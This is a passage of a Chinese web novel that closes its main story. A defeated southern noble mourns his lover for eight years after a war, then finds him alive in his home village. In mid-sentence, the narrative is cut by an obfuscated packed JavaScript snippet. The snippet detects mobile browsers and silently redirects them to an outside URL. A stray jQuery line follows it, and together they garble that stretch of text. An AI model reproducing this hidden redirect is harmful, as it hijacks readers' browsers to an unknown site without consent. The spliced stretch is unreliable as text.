有路过的周军朝院子探头,在这落魄人跟前肆无忌惮狂笑一阵离开。 公仪林盯着远去的周军突然陷入迷茫,元意给他一个月的思考时间,长期养尊处优的人从未如此刻骨的体会过落魄和悲惨,一个月,真能坚持一个月? 忠君的信念就此轰塌。 傍晚时司子出现在门前,得到特赦后他从公仪大府赶回来收拾一院子的狼藉,没想到能碰见公子。 司子是看着二公子长大的,不管在汝丘还是来到京城的公子从来都风度翩翩意气风发,一朝一夕竟被折磨的衣衫褴褛、狼狈不堪。 司子眼角青了一大块,下巴也红肿的格外显眼。 “你被打了?”公仪林冷静地问。 司子抹去眼睛的泪笑着走过来说:“先别管我的事,小伤。昨日家君让人找了你整整一日,我以为,我以为你被人——呵不说了,我想着你回来时看见满院子邋遢样一定生气,就从公仪大府跑回来了。对了,大府那边现在好的很,除了乱一点都挺好,人人平安,除了……” “公仪鸾的尸体找到没?” “五公子没死,没死,被救回来了,医工说他未必还能站起来,比起没命不能走路又算得了什么。” “还能不能记起是谁打的你?” “都是一帮无赖,谁有心思记住他们。公子,我没能护住你珍爱的东西,陶公子的书信、书籍和赠你的东西都被他们搜刮走了,怪我,我扑上去阻止时他们越认为是值钱东西。刚才我在外面的竹林捡回几张信纸,这帮畜生知道都是些无用之物后就给毁了。” 司子把一张折叠几次的书信塞到一动不动的公子手里。 是一幅落雪图,几年前陶修刚出镇漳南城主时因自身不足而拼命读书写字,忙里偷闲画了幅赏雪的图,初拿到这幅画时公仪林觉得画中人很忧伤,正配他今日今时的悲痛。 司子见公子依在树上一句话都不说,不敢打扰,一个人默默地收拾院子。 “冰清玉润哪去了?” 司子转过身用扫帚撑着要颤起来的身子,沉默好一会才说:“被他们拖走了。” 公仪林抬起头,要他再说一遍。 “那群畜生见她们长得周正,把她们都拖走了,我护不住,绒冰和绒润跪下求我叫我保下她们,前日的状况我连自身都难保。” “去烧水给我沐浴,如果可以,再替我找位医工,明日我进宫觐见太子。” 说完,公仪林起身推开陶修住过的房间,躺在凌乱的床上沉沉睡去。 没有人知道公仪林去皇宫觐见太子时遭遇了什么冷落,作为“心甘情愿”投降的降将,他没得到元意格外的恩典,还因射了周国二殿下一箭被罚跪在殿外整整两日,刻意让人冷落他羞辱他,一身的刀伤,跪到脸色发白昏倒在地。 陆颢在宫外听到消息时,几次暴涨的怒意都被他老父压了下去,他抽刀在坚硬的石墙上劈砍,火光四溅,真想豁出一切冲进去捅了那周狗。 公仪林被元意惩罚两日,又被小心翼翼送回绒华院养伤。 两日后贺功臣亲自把冰清玉润送回来,并当公仪林的面鞭笞一批在此间小院抢掠的士卒。 贺功臣坐的位置离公仪林很近,歉疚地施礼道:“实在不知几位姑娘是府上的人。贺某以项上人头保证,几位姑娘没有被……她们全都毫发无损。” 城破那日,冰清玉润被一群粗鲁的汉子掳走,正要对她们欲行龌龊之事,绒润指着他们厉声道:“我们是公仪右卫家的人,今日右卫因护天子惨败至此,明日岂无再加官封爵之时?” 绒润的狐假虎威果然唬住那群会杀人也怕被人杀的汉子。后来这群人见她们姿色上乘,又想着将她们献给上面的人,一拖几天,冰清玉润才侥幸虎口脱险。 她们被抓算是公仪林重新审视自己该如何选择走接下来路程的一个转机。 贺功臣道:“往后你我皆是殿下的人,再不用刀剑相向,过往的事一笔勾销。” 公仪林苦笑一声,幽幽叹道:“忙忙碌碌一场,究竟得到了什么?” 他拉开一扇门,把贺功臣请了出去。 建康不再是京师,城中逐渐宁靖,家家户户收起挂在外面的白绫仅用了短短二十天时间。 这二十天,公仪林听闻很多事情。 被俘的鲁云渊知道陈主投降后,向南大哭,拒绝周国的封赏,回归祖地养老,从此不再问朝堂之事。 有几处不肯降的小县,一直到天子投降的第八日才缓缓开启大门,被迫向周人俯首。 卢思苌死后,五天无人收尸,元意念其忠勇,令人厚葬了他,就葬在他戍守三十多年的江边,早晚都能看见大江上来回穿梭的船只。 吴郡无事,没有遭遇周兵的侵扰,公仪林不懂陶修用了什么办法,把手里的一万五千人一分为二,去吴郡救援的人很快就击退从后方袭击的周军,才保吴郡安然无恙,而他留在京口那部分则随卢思苌全部战死。 公仪林又去三位师父的坟前祭奠,他们死在一起,尸体很容易就找到了,他给师父们准备了许多他们生前喜欢的东西。 他去了趟京口,从当地人口中听了许多有关十月十六那场尸横大江的战事。亲眼目睹那场血腥的百姓忍不住流泪,说五六万人对抗二十万敌军,没有一个逃兵,都做了大陈的好男儿。 场面太残酷,他们不记得腰系红绸的将军,那日人人身上都是红色。 从此,公仪林有整整八年时间失去了陶修的一切消息。 后来他把绒华院的门匾摘下并断为三截收藏,推倒院中绒花树,亲手给门贴上封条,发生在院子里的所有喜怒哀乐皆在一纸封条之下彻底掩埋,再无开启之日。 元意和元墨仅在江南待了二十一天,兄弟二人大刀阔斧把江南的士族和官僚整顿一遍后留下少量驻军,又把江南粗略走过一遍,正值初冬,江南似乎没有画卷诗赋中描述的瑰丽多姿,他们下令推毁宫城,烧掉城里所有华丽的房舍。 城墙倒塌,大火冲天,公仪林在漫天的尘土和熊熊烈焰下,脸色苍白,形销骨立,注视着炽热的红色大火,除了微颤的唇,谁也看不清他的喜怒哀乐。 大火烧了两天才熄灭,过往的繁华付之一炬,望着眼前漆黑的废墟,曾矗立在此的宫殿被清澈的天空衬得棱角分明,檐角则一方一方地切割着江南秀丽的天,连里面有过的勾心斗角、明争暗斗都鲜活了,朝夕之间,京城六年的记忆皆随大火消融。 公仪林随元意回大兴城,元意同意他再护陈明俨最后一程。 亡国之后,公仪林第二次见到陈明俨。城中的废墟,连做臣子的都这么痛,何况喜欢风花雪月伤春悲秋的陈明俨。他瘦了很多,但脸上多了许多笑容,笑着跟元意稽首说话,笑着抚摸小儿子的头,笑着跟过去的旧臣告别,还说关在江南久了想去北方看看,他挥霍谈笑,洒脱快乐,甚至有种明月入怀的豁达和释然,唯独对上公仪林的双目时,两人都挪开眼睛,不愿深究对方为难的处境。 回大兴城的兵马车队要启动时,陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240241|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明俨再次回首化为灰烬的宫城,大笑一声上了马车,在车里搂紧了儿子。 队伍才走几步,当街突然发生一件血案。 元意闻声从车内探出头,看一眼倒在地上的杨弘易和面无表情的持剑人公仪林,放下车帘,淡淡地说一声:“出发。” 公仪林虽杀了才敢露头的杨弘易,心里的伤痛没减去一点,如果杨弘易没有压下各州郡的加急文书,或许结局和现在会有所不同。 公仪林在大兴城一待就是四年。直到周国对陈明俨不再有所忌惮,江南那块百姓已熟悉没有姓陈的君王为止,他才被允许回乡。 这四年真的很漫长,北地朝堂的暗潮涌动尔虞我诈只比过去的大陈多,公仪林维护陈明俨时也卷入过几次朝堂纷争,好在有元意和贺功臣在后调停,平息种种争端。 从南方迁到北方做官的人很多,个个拖家带口,连祖宗牌位都带了,唯独公仪林孤身一人。元意见他独来独往,像只被困北方的孤雁,有意为他提了几桩亲事,为拉拢他为己所用,不惜把他和亲妹妹撮合了一次。 公仪林顶着无欲无求的脸数次拒绝,元意才将让他安家在大兴城的决定作罢。 四年间,公仪林派出去多少人寻找陶修的下落,皆无功而返。陶修不会死,见不到尸体他就绝不信陶修会死,四年是一千四百多天,他没办法一直坚信陶修还活着,察觉自己的坚持有所动摇、也开始怀疑陶修确实死了时,他大病一场,病了足足两个月,最严重时连床都起不来。 常来探望的贺功臣一度以为他要死在这异地。后来,司子来了,还带来了公仪佑,这俩人好歹给他解了思乡之苦。 那场病刚好,司子就斗胆劝慰他几句,说是劝,无异于剜心。 司子说:“公子,瞧,佑儿今年都十二了,正是你跟陶修认识时的年纪咧。” 公仪林抬头扫了眼侄儿,个头长得挺高,模样也比他爹俊,揉揉有点发闷的胸口,他不打算听司子说下去。 司子已经开了头,就没打算结束,“陶舒家的女儿都七八岁了,时间真快,我还记得你去玉河村时脱个精光跳水,是陶修救你上来。” “别说了。” “你藏着他给你的所有东西,天天看天天摸折磨自己做什么?他早就死了,把他放一放,该成家成家,该做官做官,有个像佑儿和锦意这样的孩子,以前的事就能慢慢忘了。” “我让你别说了。”公仪林飘飘忽忽站起来要去揍他。 “没人敢说你,我还不敢吗?他就是死了,谁都知道他死了,如果没死,快五年了他都没回去看过陶舒,他不是说那是他世上最亲的人吗?他更没来看你,只有你心存侥幸,在此蹉跎光阴,连故土都不敢回去。” 公仪佑扶了把叔父,对司子摆手道:“饶他几句吧,这都不是活人的脸色了。” 再后来,到第五年时,陈明俨已在大兴城安居“立业”,和朝臣定时上朝,脸上不再有忧郁之色,公仪林向他提出回乡一事。 建康的名字五年前就被抹了,置了三个县,元意本意是将其中一处县尹之位留给公仪林,但他执意要去漳南。 离开大兴城那日,送他的人只有陈明俨,陈明俨对他说:“诸多王公大臣中,唯有你护我至最后一刻,为大陈而死的每一个将军和将士,过去住在宫城的那个帝王都有愧于他们。我想以一个常人的身份向你拜谢,这么多年我一直明白你对没能舍身为国、做了降将一事耿耿于怀,放过自己吧,我连祖宗江山都丢了不也活得好好的,人生还很长,依旧该奋进向前。槐序,多谢你这些年对我的照顾。” 回程很缓慢,公仪林带着侄儿踏遍大周的锦绣河山,巍峨通天的大山,烟波浩渺的大江,奔腾不息的黄河,这些瑰丽磅礴的景色再不受疆界线的限制,畅通无阻。 公仪林终于找到周国大一统之后的一丝安慰。 183.八年后的重逢 公仪林和公仪佑的足迹遍布天下,面对壮阔的锦绣河山,襟怀坦荡许多,过往的繁华也渐渐淡在记忆深处,似乎对陶修的印象也不那么清晰刻骨了。 有时听见公仪佑朗朗的读书声和坐在书案前认真握笔的模样,忽而发现认识陶修这件事有种似梦非梦、亦真亦幻的感觉。 真的认识这个人吗,这个人真的存在过? 那场战事结束很久之后,江岸的尸体逐一被亲属领回安葬,一具白骨都不剩,没人会领回一个不认识的人的尸骨,公仪林的侥幸就源自于此,可后来有人告诉他,没人领的尸体都集中坑了,他又陷入下一轮的自责中。 二十七岁这一年,公仪林在侄儿的陪同下游历大江南北后,乏于路上的颠簸,终于缓缓到漳南上任,回到阔别五六年的地方。 白巳山矮小敦厚,黑巳山也敦厚矮小,两山相对蜿蜒,如长蛇围拢着漳南,山没变,可漳南变了,被战火洗练过的城经过五年时间开始新生。如今除了几个军事重镇有兵马驻扎,似漳南这样的小县只配了几百执行公务用的捕快、侍卫。 公仪林还能看见当年点将台的旧迹,陶修就站在上面调练虎兕军,只打过一次败仗的虎兕军名号至今还有人提及,只是提到那位将军时,小酒肆里这群人的嘴开始结巴,非常不确定地问:“那位将军叫什么来着?姓萧还是陶?” 看来遗忘是通病,当年那样英勇的人,世人说忘就忘了。 这时有人拍了下这个结巴的,斥责他:“当然姓陶,他可是漳南县有史以来最体恤民生的好县尹,文能治城,武能杀敌,当年近二十万人兵临城下啊,陶县尹带四千人就上阵了,那是他唯一的败仗。这些县志里可都清清楚楚记录着呢” “嘘,说什么呢,他要杀的人你当是谁,是现在的圣上,你有几个脑袋够砍的?” 还有人记得就行,不枉他那些年的心血。公仪林啜着温酒,听这群汉子讲一件又一件几年前的大战,唯独没人唏嘘大陈的灭亡,皇帝是谁真的和百姓无关,天下太平就好。 浮云朝露,光阴如箭,公仪林到漳南上任已有两年。初夏的五月,他收到吴郡递来的家书,说再过一段时间就是公仪佑的生辰,公仪佑指名要这个二叔替他束发,从此告别孩童并立誓一心读书科考。 五月也是公仪林的生辰,他决定回去一趟。 上次回吴郡是两年前,因公事在身只待了不足半月就匆匆回来,忙于公事是借口,主要是躲避年事已高的老父母的催促,张口就是亲事,“那年你不愿与她成亲的袁家小姐都做了三个孩子的娘,不过袁家很喜欢你,他家女孩儿多,最小的一个……” “荒谬!!!” 收拾几样东西立即就启程走了。走之前本想去一趟玉河村,却又懒于应付沈家那边的各种应酬,索性拍拍屁股走得干干脆脆,谁也不见,因而错失一个巨大的消息。 那个消息,家里人也有意瞒着他。 路上颠簸几日按时回到吴郡汝丘,此地未曾沾过刀剑,大街小巷跟七八年前一样,不对,跟十六岁离开故土时一样,说它繁华又不及都城的富丽,说它外表古朴却又比都城更像江南。 这五月本就是万物茂盛时节,山水青翠,夏浅胜春,四处转悠下来,果然还是吴郡更清秀些。 刚束发的公仪佑已到变声期,像只羽翼刚丰还带着几根没彻底脱掉绒羽的鸟,叽叽喳喳说个不停。这会强领着叔父出来逛集市,街上他日日都玩一遍,仍旧兴致高昂的跟公仪林介绍各种新奇。 公仪林望着他纤瘦细长的身影,突然发现光阴真狠,转眼已近而立之年,曾经称霸这条街的可是十五六岁的自己,“这条街上我什么没见过?用不着你给我介绍,你这叫‘反客为主’,这行为让我很生气。” “谁叫主人在外多年不归,没有抓在手里的东西就勿要怪别人当宝贝。我带你去看一家卖字画的店,说来也奇怪,店面的画卷笔墨买的人少,各种形态的木雕倒成了抢手货,可惜数量极少,体积大的更是经不住人哄抬价格,每次新出的大件木雕我还没瞧上一眼就被人捷足先登,店里剩下的都是小玩意。不过可见一斑,你见过小的就知道大的为何抢手了。” 公仪林几乎是被他拽进店的,跨过门槛那一瞬,恰有人影掀帘进了后堂,他觉得那人的背影有些眼熟。 店掌柜上来直接把二人带到摆放几排木雕的架子前,对身后满架子的字画一点都不上心,公仪林暗道:干脆改名叫木雕店得了,还卖什么字画。 一件件木雕都雕琢的惟妙惟肖,从老仙捧桃、九龙戏水的神话传说,再到极具生活气息的肥猪抢食、老农插秧、奶狗扑鸡,公仪林猜测弄这些物件的人更喜欢的还是平平淡淡的日常,是宁靖祥和的乡村,不知木雕后面那双手是什么模样。 他仅对雕刻的人生出一点点好奇,就把目光转移到被冷落一旁的字画上,心骤然一滞,抓起一幅画贴近了看,上面的字工整秀气,一笔一划写就,一点没有行家挥洒笔墨的洒脱,对比这些字,这张画更没有灵气,刻板的像拓印。 公仪林一把扯住掌柜的手臂问:“这几幅字画,从哪买来的?” “这个我不知道,是我们老大硬要塞进来的,写的一般,听说出自一位姓张的先生之手。” “你确定?姓张?” “确定。” 公仪林失了闲逛的兴致,当即打道回府,数日不曾再出门。 因他难得回来一趟,又多年不曾去过玉河村,沈家此时连让大仆来请两次,第三次是沈钟亲自登门。 公仪林实在拗不过他们的盛情邀约,只得在回漳南之前去一趟玉河村。 路上且行且赏景,远远就看见灰蒙蒙的小钟山,满山翠绿。在看见流出玉河村的一段清江河时,公仪林跳下马驻立河边良久,行尽江南和吴郡,终不与离人遇。 玉河村口那条细长的小路变宽许多,够两辆马车同时行驶,蜿蜒至尽头就是陶家。沈钟看出表弟盯着陶家的方向失神发呆,找种种话题引开他的注意。 沈钟几年前就听说过表弟和陶修的事,听说他为了陶修挨过几次家法,常把自己弄的失魂落魄,生生熬出一身的病,至今还在为那人守身如玉不肯成家,起初他不明白长相那样招摇的表弟为何会陷在一个平平无奇的陶修手里。 后来,那些年发生在建康的事情听的多了,也见过几次陶修,不得不承认,陶修果然如他年少时猜测的一样,这样耀目的人确实不该待在玉河村,自半年前他回到玉河村后,连这村子都气派不少。 沈钟曾一度觉得是自己的错,十几年前无意中把两个小少年“撮合”在一起,如果那时候就察觉到表弟的心思,怎么着也得想办法拆散他俩。 “槐序,你多年不来,母亲实在想念得紧,非要你尝尝她亲自烧的鲈鱼。我随意啊,我随时都能去见你,吃了饭你想什么时候走就什么时候走,我不拦,也不邀你去小钟山转悠,听说你忙,尝了母亲做的鲈鱼后就能走。” “人还没到你家门口,我怎么就听出你想撵我走的意思?” “绝非那个意思,你大忙人,确实不敢留人。”沈钟也确实怕他真提出要去小钟山看看,去小钟山就必然路过陶家,他不敢让他去。 公仪林在沈家用了饭,满脸笑意把对鲈鱼脍这道菜的赞美之词都献给姑母,巴结奉承,掏心挖肺说在外多年就想这道菜。 席上的公仪佑不知叔父还有如此可爱可亲的一面。 饭后公仪林把府上几个很小的孩子凑一起逗弄一番,解了会闷,他弄不懂沈家哪这么多没有他腿高的小孩,逗弄完了都不知哪个是哪个生的。 “要歇会还是玩会?我这有蛐蛐,别看我,平常我不玩的,可不敢在孩子们面前玩,特意为你买来的,不懂你这见过风雨又游历过山川的人喜欢什么,想来还是幼时的玩意最熨心。”沈钟搂着宝贝蛐蛐,一点不像不常玩的人。 “佑儿一直跟着我,我也不敢在他面前玩,我还是歇会吧,歇片刻就回汝丘去。” 府外有棵槐树,槐花已凋零,清风穿堂,还能闻到残留的槐花清香,明朗的日头把那棵老槐树照得绿油油,枝叶在夏风里轻摆,公仪林突然想去山上看看,如果不去看一眼,此次回漳南一定全是悔意。 府里的人大半都在夏乏,他牵出马就出了府。 明明要去的是钟山,抓在手里的马辔却拐了个弯,他骗不了自己,想再看一眼的其实是陶家。 陶修十八岁离开玉河村,陶家的茅屋就再无人住过,十几年过来,饶是雕梁画栋都经不住风吹雨打,何况那间旧迹斑驳的草屋。 他在心里都拟好了陶家的残破样,任它再破,只要那棵如盖的绒花树还在就行,他便能撑住斯人不在的疼痛,经受住过往回忆对他的摧毁。 绒花树还在,远远就看见了,可惜不是花期,看不见梦幻的粉色。公仪林下了马牵着它慢慢走,不是他不想走快,而是双腿莫名有些沉。 这是黄四娘家,村里女人的情报交换地,那是张家还是什么李家,管他什么家,公仪林依稀还记得这些,最后他站在陶家门口。 竹篱上的藤蔓很茂盛,院子里长着少许花草,绒花树投下大片阴影,透过竹篱,他看见树下端坐一个小少年,捧着一本书读得挺认真,刹那间,时光流转,人影交错,公仪林恍惚觉得自己置身在十一岁的光阴里,陶家那对兄妹也如这般坐在桌前雕刻佛头。 屋里走出一个年轻男子,少年人抬起头蹙起眉,轻声娇气地喊了声:“父亲,这个字我不识。快过来,你又做什么去了?” 父亲,呵,那个年轻的父亲径直走到少年身边,俯下身,指着那不熟的字给他释义。 父亲?这么多年,你音信全无,生无踪迹死无尸首,对我不管不问,不顾我 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公仪林不应,不知该如何应?他有很多疑问和不解,还有深深的恨,这恨是临时起意,突然从心底烧起来。 陶修朝他走了两步。 “别过来,我怕我忍不住杀了你。”眼眶全是愤怒的泪,涩的发疼。 “抱歉,槐序!” “为何道歉?你知道对不起我?”干巴的语气,冰冷的眼神,公仪林竭力稳住摇摇欲坠的身子,他不想倒在陶家门口丢人现眼,要倒也要先让这负心人吃一顿苦头。 可这心里太难受了,多年的憋屈让他喘息不安,终于还是扶着竹篱倒了下去。 公仪林醒来时,床边正坐着负心汉的儿子,长得挺俊,一脸的机灵样。 “你爹呢?”小兔崽子。 “我爹在熬药,他说你这是旧疾,以前动不动就这样吓他,男子汉为何一身的娇病?” “你娘呢?” “我娘,我娘去世了。” “什么时候去世的?”难怪躲起来不见人,原来藏起来养情伤了。 “我不足一岁她就去世了,和我爹死在一起。你是我爹旧识你都不知道?” 什么乱七八糟的,公仪林爬起来重新审视这孩子,看来看去,还是有陶修的模样,“几岁了?” “十岁,问这么细致做什么,我爹常嘱咐我别跟陌生人说话,他小时候就给人骗了。” 十岁,怎么可能是十岁?十年前正是大陈风雨飘摇的时候,陶修哪来的闲情逸致生孩子。 “我不是陌生人,我也是你爹。” 公仪林穿上鞋就走了出去。厨房的药还在炉子上咕嘟咕嘟冒泡,屋内没人,他走向屋后那片竹林,他觉得陶修就在林子里,满腹算计的等着他上钩。 陶修的背影挺拔颀长,乡里杂事多,他穿得简单,袖子和腰际还是绑得紧实干练。 “陶修?” 陶修转过身放下手中的竹子,朝他笑了一下,就这么一下,经年的苦和痛,刻骨相思,无尽委屈,都在他的笑意里化了,烟消云散,他还怎么怪他,该如何责备他,骂他、斥责他,或是揍他一顿,那都不是该对心上人做的事,不从来都是,他能活着,还能见到他,这天大的幸事还能有什么可与之相比,可这八年的委屈真的让人难过。 他抱着陶修,搂住他的脖子、腰,把他的头紧紧按在肩上,一刻不许他抬头和挣扎,“求你别动,让我多抱片刻,太久了,真的很久了。” “我会听你解释,每个字我都不会落,我要听你这八年间发生的每件事,和对我的想法。” “抱歉,槐序。” 你只会道歉,我要道歉做什么用,“别跟我道歉,我还徘徊在杀你与不杀之间。” 说着最狠的话,却把陶修抵在墙上,不由分说就吻上他的唇,相思与怨愤都在这肆意霸道的亲吻里冲撞,一边想着何不弄死他弥补自己多年的伤痕,一边又因再见到他而感激上苍。 他咬破陶修的唇,抵开齿关,步步侵掠,恨不得撬开他的嘴,看看他心里到底藏着什么。 陶修任由他撕咬,任由他在身上施虐,隐隐忍着疼。 这个报复的吻持续很久,很久,直到陶修扶着他主动把头搁在他的肩上,喘息一声,笑道:“我有点不熟悉了。” 很美妙的一句自白,解释了许多事情。 公仪林掰起他的脸,直直地看,“那就多做。”像只恶虎,又扑了上去。 “槐序,顾及一下旁人能不能?” 想到屋里的小兔崽子,公仪林终于停下手,伏在陶修的肩头哭出声音:“你曾经说我拉你走了条不归路,其实是你主宰着我,康乐,这些年我真的很难过。” “以后不会了,绝不会了。”陶修撸着他的背,一下一下的保证和安抚。 184.我正为此回来【正文完结】 十月十六京口那一战真的很血腥。 卢思苌留下擅打仗的陶修,企图挽救京口的危机,又将他手下的兵力分去一半救应吴郡。 领兵去吴郡的张城、周石都是本地人,他们不负所托,带着许多出生在这里的同袍死战到底,窦冰、潘猛死在故乡的百姓面前,面带笑意,心满意足,临死前,窦冰高喊一声:“把我的大名写在县志里啊,让我儿子知道他爹为国而死,他爹是个猛士。” 潘猛又瘦又高,一直跟在窦冰身后,在看见兄弟英勇就义后,拿起两把长枪,一根抢挑起一个敌人,对闭上眼的兄弟狂笑:“看呐,我杀的人也没比你少,别再我跟前吹你一身的腱子肉。” 修我戈矛,与子同仇,潘猛一直撑到袭击吴郡的周人被张城击退才倒在窦冰身边,两个在大营互相帮衬多年的人好歹死在一起,没有什么遗憾。 周军袭击吴郡的兵力并不多,张城与百姓同心戮力顽抗三天,在即将胜利之时,陈主投降的消息传遍全国。 张城只得收兵打开城门,唯一让他欣慰的是,吴郡无损,百姓安然无恙。 作为杀敌最凶的降将,张城和周石很快被抓起来送去北方服刑,两年后天子大赦天下时方回到故土。 京口只有五六万兵,周军全部倾巢出动后,卢思苌才发现战术、策略、猛将在绝对数量的兵力进攻下不堪一击。 敌人如潮水,如狂沙,如朔风,无处不在,京口坚持两天就败了。 战船一艘一艘被击碎、烧毁,卢思苌欲登上恩师的驰龙舰,站在最高处让将士知道他救国的决心。他六十三岁,在江边近三十年,最后爬上驰龙舰时身心疲惫,在栈桥前歇息了片刻,仅这片刻就被万箭穿身,倒在咫尺远的驰龙旁。 陶修认为上天不公,为大陈付出半生的老头不该死在这么残忍的箭下。 他接下卢思苌交到他手里的宝剑,毅然登上驰龙。 驰龙是大营的最高点,人人都能看见矗立船头的年轻人,几片衣裾被江风吹翻,腰间的红绸耀眼醒目,他拿着老将军的衣钵,高声号令驰龙撞向敌人,撞向坐着敌军大帅的战船。 他又要拿出他的绝杀。 驰龙舰在江边停靠十几年,浑身朽旧,但她漂亮、英气,用粉身碎骨助力了陶修一把,他果然跳到敌军船上,顺利就斩杀对方将帅。 陈军低估了周主吞并八荒的野心,将帅的人头在陶修手里还没有冷却,又一支兵马从后面扑上来。 人数实在太多,陶修也感到无能为力、回天乏术。 他的船被打翻在江里,全身力竭,力竭到连眼前几个小喽啰都对付不了。 他在闭上眼之前看见幼时玩伴杨微子,原来统领江津水军的杨微子也加入了灭陈一战。 京口的两个将军一死一伤之后,余下的人都成了刀下亡魂。 杨微子把昏迷的陶修偷偷送回江陵,送到他母亲身边。 杨微子在萧家的坟场找到的萧王妃,王妃婉拒他要把她的消息传送给大陈的陶修,只愿在静山渡过残生。杨微子就替曾经的王妃在静山盖了一间朴素的小屋,时而派人周济下她的窘境。 昏迷重伤的长子被胡峤送到萧王妃跟前时,她死水似的日子总算漾起一圈涟漪。 陶修彻底清醒用了十几天,能下床走路用了半年,恢复如初用了一年半。 这漫长的一年多,他听见很多关于大陈的消息,也留心江南各世家的命运,却无从跟人打听到他想要知道的人的近况。 一年多时间,他熟悉了江陵,熟悉身边有母亲这件事,一些事情不知不觉就变了,比如,对公仪林的思念从炽热趋于温火,最后成了黯燃的灰烬。 他考虑的东西不再像年少时的单纯,也不那么冲动,他本就是秉性恬静的性子,经历两场灭国之难,痛失亲人的打击,比从前更沉稳少言。 两年后他让胡峤回汝丘带回萧辙,从此他带着萧辙、陪着母亲在静山一待就是几年。 这些年,萧王妃小心翼翼问过关于公仪林的事,陶修以淡淡一笑带过:“母亲不必忧虑我。” 他不愿提起,王妃就越好奇那位曾在自己面前保证过会和萧琢彼此守护一生的陈使究竟做了什么,把她儿子伤成这副模样。她不懂儿子天生就这副清冷性子,还是因为受情伤的折磨,她觉得他很孤独,比她开始住进静山时还孤独寂寞。 第六年的时候,王妃提出想去外面看看,不想再窝在江陵的山里,她想在儿子、孙子的陪同下周游各地,把女人一生走不了那么远的路都走一遍,体会各处不同的人情风貌,看世间的种种精彩纷呈。 其实她更想用这个理由去一次汝丘,去一个叫玉河村的地方。 如果去了,或许能改变一些东西。 当然决定去之前,她也怕自己是自作主张,万一儿子活得这么不开心是因为“陈使”言而无信抛弃了他怎么办,万一陈使成婚有了妻与子怎么办,岂不是给儿子添堵? 不管,王妃开导自己:“我是个女子,我是个母亲,我的能力有限,能替麟儿想的只有这些,去一趟再说,大不了再回来。” 于是,一趟周游大周的计划在王妃母爱的支棱下缓缓开启。祖孙三代另加一个整日不说话的胡峤,在路上走的很慢,用心赏景,钱不够了,长子雕点小玩意换钱,或者卖卖苦力,遇到仅会点三脚猫功夫的绿林,长子藏在车子里的剑可斩杀过无数人咧。 晃晃悠悠一年多,三人途径景色秀丽的西湖,王妃问长子:“麟儿,都走这么近了,我想去你长大的村子看看。” 陶修拒绝不了母亲的柔声细语,也拒绝不了儿子跟在后面尾巴似的恳求,车头一转,甩响马鞭,高声道:“那就去我当牛做马的地方看看。” 一路上王妃买了许多家用,锅碗瓢盆、衣饰被褥,陶修不明所以,反正钱够用,随母亲折腾去。 回到玉河村,王妃先在茅草屋前哭了一场,抚过院子的每个角落,找儿子曾在这里的留下的痕迹。 这会正值寒冻,几间茅屋确实怎么看怎么凋零,陶修安慰她:“等春天一到,母亲你才知道这间小院的妙处。” 王母抹去眼泪,很倔强,昂着头说:“我不信,除非让我待在这里等春天来。” 这一待就逼走了盎然的春天,初夏款款而来。 王妃不确定陶修想不想留下,她留下又无处打听公仪林的消息,想从陶修嘴里挖一点关于公仪林的消息比她缝衣服做女工都难。 后来,是陶修主动提出留下。听说他在一个张姓朋友的逼迫下开了一间卖字画的店,逼他把手艺拿出来卖钱。 张城用心险恶,就要让陶修明白,哪怕他多年来天天一次不落的练字画画,他的字画也卖不了几个钱,他的字与画在天赋异禀的人跟前,就配冷落在角落里,他日日磨炼字迹一点都不比不爱读书的自己强在哪里。 后来,不知谁走漏了风声,居然把西海县的安桂给引来了,安桂说周石留在吴郡,给郡守做大官咧。 时过境迁,从前的同袍还能凑到一起,叫上胡峤,四个人围着一方小桌击箸高歌,感叹浮华一瞬,那些拼死拼活的仗像大梦一场。 坐在绒花树下的陶修把八年讲完了,故作镇定地盯着公仪林,很怕他问出那句话:“为何不来找我?” 公仪林一直都很好哄,他也没问,看来这次的大错给瞒混过去了。 “那次你伤的有多重,需一年才能爬起来?” “跟我讲讲你在大兴城的四年,受了什么委屈,今后我会弥补。” 公仪林压下怒火,原来自己这些年的动向他了解的清清楚楚,只是这永昼还早,许多话只有等夜深人静才好质问。 “你把萧蕴的孩子养得挺好。” 陶修一脸的满意,把儿子叫过来搂在臂弯,“你看出来了?” “跟他爹一个模子倒出来的,精致。” 公仪林朝萧辙勾勾手指,“过来。” 萧辙胆怯地朝他跟前挪了两步,公仪林一把拽进怀里捏他的脸,一本正经对陶修说:“这么算起来我等于是有两个儿子了。” 陶修正不解其意,门外有人下马。 走进来一个少年人,先是犹豫片刻才跟陶修行礼:“陶叔父,我是佑儿,不知叔父还能不能记得我?” 公仪佑早慧,小小年纪就把“相思成疾”的模样看在眼里,这几年叔父的一身病他了如指掌,甚至能感同身受几分。两年前他父亲郑重提起让他今后都跟在叔父身边时就明白其中的意思,这意味着叔父这辈子都不打算有自己孩子,他得体量叔父关心叔父孝敬叔父。 刚才沈家找不到叔父时,沈钟猛拍大腿懊悔道:“坏了,一定去了陶修家。” 公仪佑没觉得坏在哪里,明显替叔父舒了口气,所以他忍不住来看看,看看叔父遇到故人会成什么体统? 还好,叔父表面看起来跟平常一样。 夕阳落山时,一辆马车踽踽回来,赶车人是胡峤,一个妇人从车里走下来,荆钗布裙也不掩她身上雍容气度,她出现在院门前,看见公仪林那一刻就知道此趟玉河村没有白来。 她以过来人的身份觉得有些事该当面弄明白,有些事还可回头,有些事又还能补救,这些年她不懂两人间出了什么问题,她也不懂,其实被“抛弃”的不是郁郁不乐的儿子,而是此刻云淡风轻、千帆过尽一身从容的公仪林。 沈府那边,至深更半夜公仪佑才回去对翘首张望的众人说:“不必等他,而且这几天他也不急着回漳南。”众人知道这头牛是拉不回去了,就像年少时一样,钻到陶家的破茅屋就迷失方向。 夜深人静,各屋子的油灯都悄悄地熄了,院中的两人还坐在绒花树的桌旁,在黑漆漆的夜里面对面对峙,这会公仪林冷静下来理智地思考自己八年间损失的东西该如何从陶修身上讨回来。 沉默令人拘谨,黑夜里的沉默更使人浑身发毛。 “你不说话,是不是在等着我问你为何八年都不来找我?” 